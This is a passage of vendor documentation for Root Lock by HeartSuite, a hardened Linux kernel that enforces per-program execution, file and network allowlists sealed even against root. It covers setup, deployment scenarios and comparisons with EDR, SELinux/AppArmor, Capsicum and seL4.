Root Lock by HeartSuite Documentation

• 1: Introduction and Overview
• 1.1: Root Lock by HeartSuite Overview
• 1.2: From install to Lockdown
• 1.3: What this kernel needs — and what differs by stream
• 1.4: Deployment Scenarios
• 1.5: What Root Lock replaces — and what it does not
• 1.6: Containers, microVMs, and the sealed host
• 1.7: Security as Economics
• 1.8: Where Linux security tools actually sit
• 1.9: When Root Isn't Enough
• 2: Getting Started
• 2.1: Before You Begin
• 3: Obtaining and Installing Root Lock by HeartSuite
• 3.1: Obtaining Root Lock by HeartSuite
• 3.2: Installing Root Lock by HeartSuite – Part 1
• 3.3: Installing Root Lock by HeartSuite – Part 2
• 4: Confirm the Root Lock kernel is actually running
• 5: Approve what each program may do
• 5.1: Review queues: programs, files, network
• 5.2: Allowlist many hosts without the TUI
• 6: Python should not inherit every script's rights
• 6.1: One interpreter, many script allowlists
• 6.2: Turn on per-script allowlisting
• 6.3: Which script launchers ship in the box
• 7: Each program gets its own internet destinations
• 8: Alerts when Lockdown blocks something
• 8.1: Pipe Lockdown blocks into the SIEM you already run
• 8.2: Drive the allowlist from your own tooling
• 9: Lockdown seals the allowlist, including from root
• 10: A subscription is what turns on Lockdown
• 11: Every maintenance window is an attack window
• 11.1: Keep a gate up while you change the system
• 11.2: Backups that ransomware cannot delete
• 11.3: When 255 allowlist slots is not enough
• 11.4: Stop kmod from loading just any module
• 11.5: Apply an update without dropping Lockdown blindly
• 12: Blocked, wrong kernel, or silent fail?
• 13: Does this replace EDR? And other FAQs
• 14: Kernel Security Transparency
• 14.1: Compiled-in CVEs — what each score means
• 14.2: Not Affected — disabled features
• 15: A smaller kernel, not a thicker agent
• 15.1: Kernel hardening in one comparison table
• 15.2: A custom kernel in a regulated fleet
• 15.3: Which distros boot the Root Lock kernel
• 15.4: How long each Root Lock kernel is maintained
• 15.5: Your scanner flags CVEs this kernel does not have
• 15.6: How to verify the kernel you downloaded
• 15.7: Which kernel evidence is published today
• 15.8: Hardening matrix for kernel 6.18.9
• 15.9: Hardening scores: 5.19.6 against the field
• 15.10: What a red team should test on this kernel
• 15.11: SELinux, AppArmor, TOMOYO — a different job
• 15.12: Kernel hardening in plain language
• 16: From 2016 research to kernel default-deny
• 17: Tools shipped with Root Lock
• 18: Compliance questions, answered on one page
• 19: Compliance Reference: NIST CSF & ISO 27001
• 20: SOC 2 TSC mapped to Root Lock controls

1 - Introduction and Overview

Root Lock by HeartSuite | Humans in Command

Overview: Every attack does three things: run a program, access files, make a network connection. Root Lock by HeartSuite enforces default-deny on all three at the kernel, per program, including as root.

In Lockdown, anything not on the allowlist is blocked before it can act. By design, remote root has no intended path to change the sealed allowlist while the machine is running. Unsealing takes the maintenance kernel from a physical or serial console. Lockdown covers activation. Circumvention and recovery covers residual risk.

In this section

• Root Lock Overview — Core features, how it protects against malware, and the setup checklist.
• The Setup Journey — Initial setup, then the Dashboard checklist from installation to Lockdown, Cloud Path and Local Path, and how the Dashboard guides you.
• System Requirements — Compatible systems, kernel versions, and prerequisites.
• Deployment Scenarios — Environments and workloads where Root Lock fits best, plus notes on incompatible stacks.
• How Root Lock Compares — What Root Lock replaces, what it complements, and how it can be circumvented.

For detailed installation steps, see Installation. Getting Started covers Cloud Path and Local Path. On a single host they converge at the Dashboard after initial setup. Many hosts still install through Cloud Path or Local Path on each machine — see Central Policy.

1.1 - Root Lock by HeartSuite Overview

Overview: Every attack does three things: run a program, access files, make a network connection. Root Lock by HeartSuite enforces default-deny on all three at the kernel, per program, including as root.

Your SSH server and your web server both run as root. They still get different permissions because they are different programs.

Kernel-level enforcement

No program can execute without an allowlist entry. That entry also controls which files the program can read or write, and which network connections it can make.

The Dashboard is the interface. After unattended initial setup, it shows the checklist and what is waiting for review.

After initial setup

Initial setup runs unattended on first boot of the Root Lock kernel, and again after a kernel update if new startup programs appear. The Dashboard appears when that chain is complete.

Reduced kernel footprint

The security industry patches vulnerabilities one at a time. Root Lock removes the features attackers rely on — by design.

Most malware escalates privilege by reaching for the same handful of kernel features: eBPF to hide processes, FUSE to redirect reads, overlay filesystems to shadow directories, userspace LSM frameworks (AppArmor, SMACK, Landlock) to pivot through, and unprivileged user namespaces to gain root without credentials.

The Root Lock kernel is deliberately compiled without them. These primitives are the attack surface, path to root, and bypass vectors the allowlist model exists to close.

A stock Ubuntu kernel ships with over 6,600 loadable modules. The Root Lock kernel ships with 13.

Detection tools like Falco, Cilium Tetragon, and bpftrace watch these features. Root Lock removes them. See Kernel architecture.

Shared-kernel container guests, local eBPF tooling, and rootless containers are not a fit by design. See Deployment Scenarios.

Features

1. Program Allowlist

An allowlist entry says whether a program may execute, which files it may read or write, and which network connections it may make. The kernel requires that entry before the program is permitted to execute.

The Dashboard presents three review queues:

• Programs queue ([p]) — programs that executed during Setup Mode
• File Access queue ([f]) — programs that read or wrote files during Setup Mode
• Internet Access queue ([i]) — programs that made outbound connections during Setup Mode

File access is approved as read or write. Write includes read. See Allowlisting Basics for how the queues group volume.

2. Setup Mode and Lockdown

• Setup Mode: The kernel logs program executions, file accesses, and network connections without blocking them. Use this mode to build the allowlist.
• Lockdown: The kernel enforces the allowlist. Programs without an entry, or that exceed their permissions, are blocked.

Activating Lockdown requires empty review queues, configured alerts, and an active subscription. Type YES (case-sensitive) to confirm.

Once Lockdown is applied, the allowlist cannot change while the machine is running, including as root. YES starts a probe reboot; a second reboot applies the seal. [m] Maintenance is the path to make changes. See Lockdown.

3. File backup and versioning

Root Lock backs up files in designated directories on every write. The version manager can restore a version after encryption, deletion, or modification.

Modern ransomware destroys backup systems before encrypting files — shadow copies and backup agents are typically the first targets. Root Lock’s backups are not permission-protected: under Lockdown, the kernel blocks write and delete to the backup directory (/.hs/b/) for every program except Root Lock backup tooling, including root.

When an approved program is compromised, recovery starts from the write before the damage, not the last scheduled snapshot.

4. Secure Script Launchers

For Python, PHP, and Perl, Secure Script Launchers identify the script being executed so each script gets its own allowlist entry, the same as a compiled program.

Two setup paths

Many hosts still install through Cloud Path or Local Path on each machine. Ansible, Terraform, and GitOps apply allowlist policy after that install — see Central Policy.

Is Root Lock right for you?

Root Lock fits production servers, closed appliances, regulated workstations, build and CI infrastructure, and AI agent sandboxes. Containers fit as OCI images built and run off-host. Shared-kernel container guests, local eBPF tooling, and rootless containers are not a fit by design: the kernel omits overlay filesystems, user namespaces, and the BPF syscall because those are the features attackers use to hide, shadow directories, and reach root. See Deployment Scenarios.

If you already run Falco, AppArmor, gVisor, a Linux EDR agent, a SIEM, NDR, or a scanner, see How Root Lock Compares and Security as economics.

Launch a pre-installed cloud instance or download the Local Path package from heartsecsuite.com. Getting Started covers the rest.

1.2 - From install to Lockdown

Overview: Initial setup adds startup and shutdown programs to the allowlist automatically. Root Lock by HeartSuite then logs in Setup Mode so you can review and approve remaining programs, file access, and network connections — including as root — before Lockdown blocks everything else.

Why Setup Mode is necessary

Lockdown blocks any program that is not on the allowlist, including as root. Initial setup already adds startup and shutdown programs so the host can boot. Setup Mode is how you add the rest of the workload.

In Setup Mode, Root Lock logs activity without blocking it. You review that activity through the Dashboard queues, approve programs and their access, and build an allowlist that matches the workload. Then you activate Lockdown.

Setup Mode is the default after installation. Automated backup also runs in Setup Mode, so you can restore protected directories before Lockdown is active.

Initial setup, then the Dashboard checklist

Initial setup runs unattended after you boot the Root Lock kernel. It reads startup and shutdown activity, adds those programs to the allowlist, and reboots as needed.

Cloud images already finished this at image-prep time. The Dashboard appears when that chain is complete.

On the Dashboard, the Suggested Next Step can open Launchers ([s]) after Programs if interpreters are pending, even though that row sits at 4.

Cloud Path and Local Path

Getting Started covers Cloud Path and Local Path.

Many hosts still install through Cloud Path or Local Path on each machine. Ansible, Terraform, and GitOps apply allowlist policy after that install — see Central Policy.

After the Dashboard appears

Initial setup already recorded boot and shutdown. Setup Mode logs every program that executes, every file it reads or writes, and every outbound connection.

Start the services you will keep. Compilers, probes, and extra shells that execute now become items in the review queues. If you approve them, Lockdown grants them. Do not approve programs that should not execute in production — they do not belong on the allowlist.

After Lockdown, new packages go through Protecting During Maintenance. Approve and skip in Allowlisting Basics.

From installation to Lockdown

The following diagram shows installation to Lockdown on one host, including the maintenance cycle.

graph TD
    A[Install Root Lock] --> B{Cloud or Local?}
    B -- Cloud --> C[Boot instance — Dashboard confirms setup complete]
    B -- Local --> D["Boot setup runs automatically — reboots between passes"]
    D --> C
    C --> E[Dashboard appears — Suggested Next Step]
    E --> F["Programs queue — approve programs"]
    F --> G["Script Launchers — if applicable"]
    G --> H["File Access queue — approve file access"]
    H --> I["Internet Access queue — approve connections"]
    I --> J["Configure alerts"]
    J --> K["Activate Lockdown"]
    K --> L["YES — probe reboot, then seal reboot"]
    L --> M{Maintenance needed?}
    M -- Yes --> N["Maintenance [m] — console unseal, return to Setup"]
    N --> K
    M -- No --> O[System secured]

    style A fill:#eee,stroke:#888
    style B fill:#eee,stroke:#888
    style C fill:#eee,stroke:#888
    style D fill:#eee,stroke:#888
    style E fill:#eee,stroke:#888
    style F fill:#eee,stroke:#888
    style G fill:#eee,stroke:#888
    style H fill:#eee,stroke:#888
    style I fill:#eee,stroke:#888
    style J fill:#eee,stroke:#888
    style M fill:#eee,stroke:#888
    style N fill:#eee,stroke:#888
    style K fill:#d4f4dd,stroke:#2a7a40
    style L fill:#d4f4dd,stroke:#2a7a40
    style O fill:#d4f4dd,stroke:#2a7a40

Activating Lockdown

Activating Lockdown shows an allowlist summary and a precondition checklist. Type YES (case-sensitive) to confirm. That starts a probe reboot; a second reboot applies the seal. See Lockdown for the activation flow.

After Lockdown, the startup script re-engages the seal on every Root Lock kernel boot.

Maintenance in Lockdown

To change a sealed allowlist, open Maintenance ([m]) from the Dashboard. After the seal is applied, reboot from a physical or serial console and select Maintenance: unseal and return to Root Lock. The seal lifts automatically and you return to Setup Mode. Review new activity, then lock down again.

See Protecting During Maintenance.

1.3 - What this kernel needs — and what differs by stream

Overview: Confirm the host is x86 Linux on a distribution from the current lab matrix before you install. The Local Path command is the same on bare metal and on a full virtual machine. Root Lock by HeartSuite ships a 6.18 kernel for new images (uname -r is 6.18.9-hs on the fielded pin) and a 5.19 kernel only for old-glibc hosts (Debian 11, Ubuntu 20.04). Each line has its own configuration.

See the Distro Compatibility Matrix for tiers, versions, and kernel line per row. That page is the source for which bases are Supported, In lab, Experimental, or Legacy.

Supported platforms

Do not use the April 2026 v1.6.4 list (Fedora 41, Rocky 9.7, Alpine 3.21 as “validated,” Ubuntu 22.04 omitted). That table is retired.

Kernel

New Debian 12/13 and Ubuntu 22.04/24.04 installs boot the 6.18 Root Lock kernel. Debian 11 and Ubuntu 20.04 take the k5 installer and 5.19 only — they must not consume the 6.18 bundle. The Dashboard verifies kernel activation after initial setup and provides orientation on every boot.

Software compatibility notes

The Root Lock kernel omits eBPF, FUSE, OverlayFS, user namespaces, AppArmor, and KVM host-mode. Tools that need those interfaces run on another host or on the maintenance kernel.

The Root Lock kernel is installed alongside your existing kernel via GRUB — it does not replace it. Setup Mode reveals programs that would fail in Lockdown in the Dashboard review queues. Software not listed below is not automatically denied; Lockdown still requires an allowlist entry for each program.

Bare metal, virtual machines, and nested VMs

The Local Path install command is the same on a physical machine and on a full virtual machine. Cloud Path is a pre-built image of that same install.

What differs is the machine you run it on: firmware and real devices on metal; virtio and a hypervisor serial console on a VM.

Root Lock must boot its own kernel, so it runs on bare metal or a full VM. Shared-kernel container guests (OpenVZ, LXC, Docker/Podman sharing the provider kernel, systemd-nspawn) belong on a separate host. Nested guests need /dev/kvm on the outer machine.

If /dev/kvm is missing, install Root Lock on that machine itself.

See Where Root Lock is not a fit and Reduced Kernel Footprint.

When the host matches these requirements, continue to Getting Started.

1.4 - Deployment Scenarios

Overview: Every attack does three things: run a program, access files, make a network connection. Root Lock by HeartSuite enforces default-deny on all three at the kernel, per program, including malware running as root.

In Setup Mode, Root Lock logs activity so you can review and approve it through the Dashboard queues. Lockdown then enforces what you approved. Patches and new tools follow the same path: a maintenance window, review, then Lockdown again.

Root Lock operates standalone — no SaaS policy server, no agent-to-console channel. The Root Lock kernel sits beside your existing kernel in GRUB; you can boot back to it. The scenarios below are where that model fits, then where it is not a fit by design.

Production servers

A web server serves pages. A database answers queries. A reverse proxy forwards traffic. Each has a shape you review and approve in the Dashboard queues after a few days of Setup Mode logging, then you activate Lockdown.

On a homogeneous fleet of these servers, you still install through Cloud Path or Local Path on each host. Harvest a baseline from one reference host, then apply it with Ansible — see Central Policy.

Patches, package upgrades, and new services follow the same path: open a maintenance window, install the changes in Setup Mode, approve the new entries, then re-engage Lockdown.

Under Lockdown, even root can no longer change the allowlist while the server runs. An attacker who already has remote root is left with nowhere to go.

CVE-2026-31431 — privilege escalation via AF_ALG — shows what that means. An attacker who exploits it already has root. On a Root Lock kernel AF_ALG is not compiled in. That path is gone.

Even if it had been, Lockdown closes every path from there. The kernel refuses to clear immutable flags. Mount operations are blocked. Writes to the audit log are blocked. Root cannot modify configuration, cannot add a backdoor, and cannot survive a reboot.

See Kernel Security Transparency for the full CVE status table and scanner guidance.

Closed appliances and embedded devices

A kiosk, a point-of-sale terminal, an industrial control gateway, a network appliance, a medical device, a defence endpoint — these systems don’t have interactive users. They have a job. The programs that do the job are fixed.

An attacker’s first move is usually to introduce a new program. In Lockdown, Root Lock blocks that move before it starts. By design, remote root cannot add to the sealed allowlist while the system runs.

File Backup is the recovery layer. The kernel restricts the backup directory to Root Lock’s own backup tooling — no other allowlisted program, however privileged, can read or overwrite it. If an approved program is compromised and corrupts a file, previous versions remain intact and restorable from the Dashboard’s Backup.

Regulated workstations and analyst systems

In financial, legal, healthcare, and defence workplaces, a workstation’s toolchain is set by policy, not preference. The Dashboard includes review queues that let you approve each tool and add it to the allowlist. In Lockdown, only the tools you approve can execute — everything else is blocked.

In regulated industries — financial services, healthcare, defence — auditors ask a specific question: can an administrator, or an attacker who has compromised an administrator account, disable your security controls? With Lockdown active, remote root cannot disable enforcement the way an agent can be killed. Changing the seal takes physical or serial-console access. See Circumvention and recovery.

No program or user inside the running Root Lock kernel, including root, can modify the allowlist or disable enforcement. Disabling enforcement requires reaching the boot path: a keyboard and monitor on a physical machine, a serial console, or — on a virtual machine — the hypervisor that owns the guest’s disk image and memory.

On VMs the hypervisor is the outer protective layer; Root Lock protects everything inside. Platform controls that protect the boot path (measured boot, disk encryption with keys held by the platform, controlled hypervisor access) extend that protection upward.

For environments subject to SOC 2, PCI DSS, HIPAA, or ISO 27001, that is a concrete answer to the privileged-access control question — and a clear specification of which controls remain the platform’s responsibility.

For managed security providers, this answer is the same for every Root Lock-protected server they manage: under Lockdown, no administrator credential, no root session, and no remote path changes the security policy. Bypass requires physical or serial-console access. For the competitive comparison on this point, see How Root Lock Compares.

Build, CI, and release infrastructure

A build host sits at the top of a supply chain. Compromise it, and every downstream consumer is at risk.

CVE-2024-27198 — JetBrains TeamCity, unauthenticated RCE — shows what that means. An attacker who reaches a TeamCity server can execute any program without credentials. On a Root Lock build host, that program has no allowlist entry. The kernel refuses to run it.

A supply chain attacker who compromises the build pipeline itself — using its own credentials and tooling — does not introduce a new program. In the May 2026 TanStack incident, 84 malicious package versions across 42 packages were published in six minutes using valid pipeline credentials. The execution gate fires but does not block: the pipeline already has a valid allowlist entry.

The attack is contained, not prevented at execution. The network allowlist still blocks: a compromised build tool cannot reach destinations outside its approved list, regardless of credential validity.

Root Lock restricts the host to only approved programs, controlling which can execute, which files they can access, and which network connections they can make:

• Compilers, linkers, signing tools, and release scripts you approved in Setup Mode.
• Network destinations they need to fetch dependencies and publish build artifacts.

File Backup keeps versioned copies of signing keys and build output. The kernel restricts those copies to Root Lock’s backup tooling — a compromised compiler, linker, or signing tool cannot read or overwrite them. So even if an approved tool is compromised, the previous versions remain intact and restorable from the Dashboard’s Backup.

Offline and air-gapped deployments

Some systems cannot assume the network is there. Industrial control networks, defence systems, classified environments, ships, aircraft, and recovery-of-last-resort servers either have no outbound connectivity or cannot be permitted to reach the internet at all.

Root Lock operates standalone — the allowlist lives on the machine, enforcement happens inside the kernel, and logs go to whichever local channel you configure. There is no telemetry upstream and no policy server to round-trip with.

An offline Root Lock system protects exactly the same way as an online one. Cloud-dependent EDRs degrade sharply in these environments; Root Lock does not.

AI agent and automation sandboxes

Autonomous agents are powerful because they decide what to do next. That is also why they need a cage. Pwn2Own Berlin 2026 added an AI/ML tools category for the first time; every target fell.

Run Root Lock as the guest kernel inside a per-task virtual machine — a Kata Container, a Firecracker microVM, or plain KVM. You build the allowlist once: run a representative agent task in Setup Mode, review and approve the tools it uses through the Dashboard queues, then bake that allowlist into the VM image.

Each task VM boots from that image into Lockdown with the allowlist already in force. The allowlist holds for the life of the task. Then the VM is gone.

An attacker who already has root inside the VM cannot turn this off. There is no LSM to unload, no userspace shim to detach, and no agent to kill. gVisor filters syscalls in userspace to protect the host. Root Lock is the guest kernel. It protects the workload.

Container hosts

Docker, containerd, Kubernetes, and CRI-O all run on a Root Lock host. The installer detects which container engine is present and asks you to choose a Container host or Standard host install.

Container host installs include overlay filesystem support and Setup Mode behavior adapted for container runtimes. Setup Mode logs container-runtime programs, overlay mounts, and each container image intended to run under Lockdown so you can review and approve them in the Dashboard queues before activating Lockdown.

Lockdown seals the running container set — the kernel stops accepting new mount operations, including the overlay mounts and bind-mounts every container start requires. The same protection blocks attackers from constructing paths to shadow protected files.

Containers running at the moment Lockdown engages continue running. New containers, image pulls, and restarts after exit each require a maintenance window — reboot to Setup Mode, start the containers, return to steady state, and re-engage Lockdown. The Dashboard shows mount-refusal messages from the kernel when a container engine tries to start a new container after Lockdown.

This is the right pattern for long-lived service containers, Kubernetes nodes with a stable pod set, and batch jobs that complete before Lockdown engages.

Where Root Lock is not a fit

A few workloads are incompatible with the Root Lock kernel as shipped — not a fit by design. The kernel omits overlay filesystems, user namespaces, and the BPF syscall because they are the features attackers use to hide, shadow directories, and reach root.

• Shared-kernel container guests (OpenVZ, LXC, Docker/Podman guests on a provider kernel, systemd-nspawn) — Root Lock must boot its own kernel by design. Full VMs under KVM or cloud hypervisors are supported; Root Lock runs as a guest kernel inside them.
• Hosts requiring continuous container scheduling — dynamic deployments, autoscaling, and pod rescheduling after node loss each require new mount operations that Lockdown refuses. Container hosts with a steady-state workload are supported via the Container-host install above.
• Hosts where eBPF-based tooling must run locally — Falco, Cilium, Tetragon, bpftrace, and similar tools require the BPF syscall, which is deliberately absent. These tools can still observe the Root Lock host from adjacent infrastructure via network taps or log forwarding. For on-host forensics, use strace and /proc inspection.
• Hypervisor hosts running virtual machines — Root Lock protects workloads running inside a kernel. A hypervisor host grants trusted access to guest workloads it does not control — the inverse model. KVM host mode is not a supported configuration; those kernel features are compiled out. Root Lock runs as a VM guest on KVM, cloud hypervisors, and other platforms.
• A VM nested inside another VM without hardware virtualization — a VPS or cloud guest is already a virtual machine. Install Root Lock there, or on a host that exposes /dev/kvm. Nesting a second guest without hardware virtualization causes the installer to stop at the start. See Bare metal, virtual machines, and nested VMs.
• Systems that require rootless containers — unprivileged user-namespace creation is disabled by policy on the Root Lock kernel; it is a common path to privilege escalation without credentials. Workloads requiring rootless containers should run on a separate host.
• Applications that update daily or on an unpredictable schedule — each update that adds a new binary, dependency, or network destination requires a maintenance window: open Setup Mode, run the update, approve the new allowlist entries, and re-engage Lockdown. That process fits controlled patch schedules. At daily cadence the overhead is daily. Applications with a predictable update cycle are a better fit.

See System Requirements → Software Compatibility Notes for the full list.

Kubernetes-native runtime security, cross-platform endpoint protection across Windows and macOS, developer per-application sandboxing, and enterprise backup at fleet scale each have dedicated tools built for them. Root Lock is built for one thing: Linux systems where the security policy must survive a compromised root account.

If the host is a fit, continue to Getting Started.

1.5 - What Root Lock replaces — and what it does not

Overview: Root Lock by HeartSuite controls per program whether it can execute, which files it can read or write, and which network connections it can make, including for programs running as root.

Standard operating systems grant these rights to users. Ken Thompson built Unix that way in 1969 on an unused PDP-7 at Bell Labs, designed for a small group of trusted researchers, not for networked infrastructure or a world with malware. Every operating system since inherited the decision unchanged. Until now.

Kernel architecture

graph TB
    Root(["Root attacker"])

    subgraph SL["Standard Linux: runtime layers"]
        EDR["EDR agent\nCrowdStrike · SentinelOne"]
        BPF["eBPF runtime\nFalco · Tetragon · Sysdig"]
        LSM["LSM hooks\nAppArmor · SELinux"]
        K["Kernel binary"]
        EDR --> BPF --> LSM --> K
    end

    subgraph HS["Root Lock: compiled enforcement"]
        HSK["Kernel binary\nenforcement compiled in\nno HS agent to kill"]
    end

    Root -."kill".-> EDR
    Root -."unload".-> BPF
    Root -."set permissive".-> LSM
    Root -."no path".-> HSK

    style EDR fill:#fdd,stroke:#c44
    style BPF fill:#fdd,stroke:#c44
    style LSM fill:#fdd,stroke:#c44
    style K fill:#eee,stroke:#888
    style HSK fill:#d4f4dd,stroke:#2a7a40

Standard Linux security tools are runtime layers an attacker who already has remote root can disable. Root Lock compiles enforcement into the kernel binary itself. The BPF syscall is absent, so there is no eBPF layer to unload, no agent to kill.

Every published Linux kernel CVE comes with the same question: is that kernel feature compiled into your hosts? For the features Root Lock has compiled out, the answer is always no, without patching, without policy, without an agent checking.

Most runtime security tools sit at Layer 3 (LSM hooks such as SELinux and AppArmor) or Layer 5 (userspace EDR agents such as CrowdStrike Falcon and SentinelOne). Root Lock sits at Layer 2: enforcement is compiled into the kernel binary itself, not a program installed in userspace.

An attacker who already has remote root can turn those tools off. They kill the program, unload the module, or set the LSM policy permissive. Sitting at Layer 2 leaves nothing to turn off.

Changing the sealed allowlist takes physical presence or the cloud serial console. SSH is not enough, even as root. What remains is whether Setup Mode approved too much, and whether someone at the console can unseal it.

See Circumvention and recovery. For the full taxonomy with all tools mapped by layer, see Layer Analysis.

Security as economics

For an analysis of attacker cost, defender operational cost, and ROI comparison against SELinux, EDR, Zafran, and CTEM programs, see Security as Economics.

What Root Lock replaces

The comparison below is scoped to preventive enforcement. Telemetry, behavioural analytics, and incident response are in What Root Lock complements. Each tool has a known bypass path. See Circumvention and recovery for detail.

The common pattern. Every tool in this table can be disabled by an attacker who already has remote root. They can kill the security agent, unload the BPF program, or set the LSM permissive.

Root Lock removes that possibility: enforcement is compiled into the kernel and the allowlist is sealed under Lockdown. By design, root has no path to disable enforcement or rewrite the sealed allowlist. See Circumvention and recovery.

Industry pattern (impair defenses). In many ransomware and post-compromise campaigns, attackers disable or impair security tools early. They stop the EDR agent, unload sensors, or weaken host policy first. Then they encrypt the files, or they move to the next machine.

Root Lock is designed so it has no agent process, no BPF program, and no unloadable module to target. The question is no longer whether the agent is still running. It is whether Setup Mode approved too much, and whether someone at the console can unseal it.

Related designs. The idea that even root cannot rewrite the running policy is not unique to Root Lock. Android keeps SELinux policy on a verified, read-only image. FreeBSD can raise securelevel so schg files stay immutable until reboot. Root Lock’s version of that idea is Lockdown: the allowlist is sealed, the kernel refuses the write, and unsealing takes the console or physical presence.

What each tool does best. Bypass surface is one dimension of comparison, not the whole picture. Each tool above retains strengths Root Lock does not replicate.

eBPF observers (Falco, Cilium Tetragon, Sysdig Secure, Tracee, and bpftrace) ship mature rule libraries, Kubernetes-aware context, and fleet-wide runtime telemetry. For behavioural alerting on Kubernetes nodes — particularly autoscaled clusters, where on-host eBPF tooling is not a fit by design — those tools remain the right answer.

They can observe a Root Lock host from adjacent infrastructure via network taps or log forwarding.

Userspace LSM frameworks (AppArmor, SELinux, SMACK, Landlock) offer policy capabilities Root Lock does not replicate: SELinux refpolicy and domain transitions, AppArmor’s distribution-shipped per-application profiles, Landlock’s per-application self-confinement primitive.

Root Lock’s value is the sealed boundary (chattr +i immutability plus a running kernel that refuses runtime changes), not richer policy syntax.

On 5.19.6, CONFIG_SECURITY_APPARMOR is compiled out and existing profiles cease to apply at the first Root Lock kernel boot. On fielded 6.18.9-hs, AppArmor is present in the live LSM list — do not assume profiles disappeared.

seccomp-bpf sandboxes in systemd services, browser sandboxes, bubblewrap, and firejail sit closer to the syscall surface than Root Lock can. A Chromium renderer’s own seccomp filter is genuine defence-in-depth from inside the program; Root Lock does not replace it, and both layers are worth keeping.

gVisor addresses a different threat model: host protected from untrusted guest, via a userspace syscall-emulating kernel. Root Lock addresses workloads protected from compromised root inside the kernel they run on. The two compose: Root Lock as the guest kernel inside a gVisor-isolated container is a coherent stack.

Linux EDR (CrowdStrike Falcon, SentinelOne, Microsoft Defender for Endpoint, FortiEDR) provides telemetry, behavioural analytics, fleet-wide correlation through a SOC console, threat intelligence, and incident response. Root Lock provides none of those.

The honest position is prevention versus detection; most regulated environments run both.

When attackers use legitimate tools rather than new malware (the pattern in most modern breaches), EDR detects the suspicious behavior. Root Lock constrains it differently: even a legitimate tool can only reach the files and network destinations its allowlist entry approves.

EDR agents that deploy via eBPF cannot attach on-host. The BPF syscall is not present on the Root Lock kernel. Under Lockdown, agents that install as kernel modules are blocked without an allowlist entry. That is the same gate that applies to every other program.

Both syslog streams (per-decision enforcement events and aggregated alerts) reach the EDR ingestion pipeline via a single rsyslog forwarding rule, with no external tooling required. Detection and response coverage continues through the log pipeline without an on-host sensor.

Capability-based confinement

Capsicum (FreeBSD) operationalizes the same core thesis as Root Lock: ordinary programs should not have unrestricted default access to the global OS namespace. It is the most architecturally principled approach to that problem outside of Root Lock, and the comparison is worth being direct about.

How Capsicum works. After cap_enter(), any syscall that traverses a global namespace (open() with an absolute path, kill() with a PID) returns ECAPMODE immediately. Default access paths through the OS are severed at the syscall boundary.

Per-FD rights masks then control what operations each open file descriptor permits. The design enforces this directly: no path through the global namespace means no access.

What structural elimination costs. Every sandboxed application, or a wrapper around it, must be rewritten. The application calls cap_enter(), pre-opens every file descriptor it will ever need before that call, and uses openat(fd, …) relative to those FDs thereafter.

Sandboxing OpenSSH under Capsicum required explicit modifications to sandbox-capsicum.c. Libcasper exists specifically to handle operations that cannot be pre-opened (DNS lookups, /etc/passwd reads) via a dedicated delegation channel.

For software you write yourself, the model is clean. For a fleet of existing Linux binaries you did not write, it means modifying every program you want to protect, or not protecting it.

How Root Lock reaches the same goal without application changes. VFS hook points in namei.c, open.c, exec.c, and exit.c intercept path traversal and check the calling process’s allowlist entry against the path.

Network hooks in socket.c check outbound routable connections (both connect() calls and sendto() calls with an explicit destination address) against the program’s IP allowlist. Local IPC over UNIX domain sockets and NETLINK is exempt by design.

Default access paths are filtered rather than severed. Existing Linux binaries run without modification; Root Lock observes what they do and enforces the allowlist against it. Root Lock makes this choice (hook-at-VFS rather than cap_enter-before-first-access) precisely to enable application transparency: no binary needs to be rewritten to be protected.

The Setup Mode gap. Capsicum has no learning phase. Policy lives in application source code, written at development time by the developer who wrote the application. There is no “observe what this binary actually needs at runtime, then derive its allowlist” workflow.

For any environment running software it did not write, which is most production infrastructure, Root Lock’s Setup Mode is the practical path: record what the binary does, review, approve, then lock. Capsicum offers no equivalent.

The policy-integrity gap. Capsicum’s policy lives in the application. After it ships, there is no policy file to edit, so Capsicum never had to protect one from root.

Root Lock’s policy is an allowlist file. An attacker who already has root would want to change it. Lockdown seals that file: the files are immutable, and the kernel refuses the write.

Platform. Capsicum is primary on FreeBSD. Linux support is incomplete. Root Lock targets Linux 5.19.6 and 6.18 natively.

The two designs make opposite choices: modify the application, or maintain a policy database. For a Linux fleet running software you did not write, Root Lock’s approach (maintain the database, get transparency and the full Setup → Lockdown lifecycle) is the one that covers the workload.

Formally verified microkernels

seL4 is the benchmark for machine-checked security guarantees in an OS kernel. Its proofs establish that every syscall behaves exactly as specified, that no information can pass between components without an explicit connection, and that these properties hold in the compiled binary on select platforms.

Root Lock and seL4 share the same goal — prevent programs from reaching resources they were not explicitly granted — and diverge on almost everything else.

How seL4 works. seL4 is a microkernel of roughly 10,000 lines of C backed by machine-checked proofs. Every kernel object (memory region, communication channel, thread control block) is named and accessed through an unforgeable token. A process starts with exactly the tokens its creator delegates, nothing more.

To reach a file, a process must hold a token for that file’s underlying storage. To message another process, it must hold a token for the communication channel. There is no global path namespace to traverse: if you do not hold the token, the kernel rejects the call before any check fires.

What those guarantees require in practice. seL4’s proofs depend on keeping the kernel small enough that every line can be verified (roughly 10,000 lines of C). That means seL4 contains no file system, no network stack, no device drivers. Every service that exists in a standard Linux installation (SSH, package management, web server, any application) must be rebuilt as a userspace component with explicit token grants.

Existing Linux software does not run on seL4 without a full OS porting effort. For a commercial server running standard software, deploying seL4 means replacing the entire software environment, not just the kernel.

How Root Lock enforces the same principle on existing software. Root Lock installs as a modified Linux kernel on a host already running standard software. Root Lock controls whether each program can execute, which files it can read or write, and which network connections it can make. The existing binaries run without modification.

Root Lock observes what each binary does during Setup Mode; you build the allowlist through the Dashboard queues, review and approve, then engage Lockdown. The guarantee is a kernel-enforced allowlist on the software the host already runs.

The Setup Mode gap. seL4 has no learning phase. Token grants are designed at system build time by the developer who builds the system. There is no “observe what this service actually needs at runtime, then derive its policy” workflow.

Root Lock’s Setup Mode is the practical answer for standard infrastructure: run the system, record every access in the Dashboard queues, review and approve, then engage Lockdown. For any environment running standard Linux software, Root Lock’s Setup Mode provides the observe-and-build path that seL4 cannot offer.

The policy-integrity gap. seL4 has no policy file. Authority is the token set. There is nothing to edit after the system is built.

Root Lock’s policy is an allowlist file. An attacker who already has root would want to change it. Lockdown seals that file: the files are immutable, and the kernel refuses the write. seL4 makes authority impossible to forge; Root Lock seals the allowlist after Lockdown engages (see Circumvention and recovery).

Platform. seL4 is not a Linux kernel; standard Linux software requires a full porting effort to run on it. Root Lock targets Linux 5.19.6 and 6.18 and is installed by replacing the kernel on an existing host.

The two approaches make opposite foundational choices: build the OS from a proof up, or enforce on the software stack that already exists. For commercial infrastructure running standard Linux software, Root Lock is the option that ships.

Object-capability operating systems

